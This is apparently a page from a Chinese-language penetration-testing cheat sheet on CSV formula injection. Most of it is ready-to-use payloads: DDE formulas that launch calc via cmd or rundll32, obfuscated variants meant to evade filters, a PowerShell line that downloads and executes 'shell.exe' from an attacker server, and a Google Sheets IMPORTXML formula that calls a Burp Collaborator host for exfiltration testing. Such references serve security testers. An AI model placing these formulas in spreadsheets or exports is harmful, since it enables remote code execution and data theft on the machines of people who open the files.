跳转至

CSV 注入 (CSV Injection)

许多 Web 应用程序允许用户将发票模板或用户设置等内容下载为 CSV 文件。许多用户选择使用 Excel、Libre Office 或 Open Office 打开 CSV 文件。当 Web 应用程序没有正确验证 CSV 文件的内容时,可能会导致单元格中的一个或多个公式被执行。

摘要 (Summary)

方法论 (Methodology)

CSV 注入,也称为公式注入 (Formula Injection),是一种在 CSV 文件中包含不受信任的输入时发生的安全漏洞。任何公式都可以以以下符号开头:

=
+

@

利用 动态数据交换 (Dynamic Data Exchange, DDE) 的基本攻击。

  • 弹出计算器 (calc)

    DDE ("cmd";"/C calc";"!A0")A0
    @SUM(1+1)*cmd|' /C calc'!A0
    =2+5+cmd|' /C calc'!A0
    =cmd|' /C calc'!'A1'
    
  • PowerShell 下载并执行

    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
    
  • 前缀混淆与命令链接

    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
    =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
    =         cmd|'/c calc.exe'!A
    
  • 使用 rundll32 代替 cmd

    =rundll32|'URL.dll,OpenURL calc.exe'!A
    =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
    
  • 使用空字符绕过字典过滤器。由于它们不是空格,在执行时会被忽略。

    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
    

上述 Payload 的技术细节:

  • cmd 是当客户端尝试访问服务器时,服务器可以响应的名称
  • /C calc 是文件名,在我们的案例中是 calc(即 calc.exe)
  • !A0 是项名称,指定了客户端请求数据时服务器可以响应的数据单元

Google 表格 (Google Sheets)

Google 表格允许一些额外的公式,这些公式能够获取远程 URL:

因此,可以使用以下公式测试盲公式注入或潜在的数据外带:

=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")

注意:系统会弹出警告,提醒用户某个公式正在尝试联系外部资源,并要求授权。

参考资料 (References)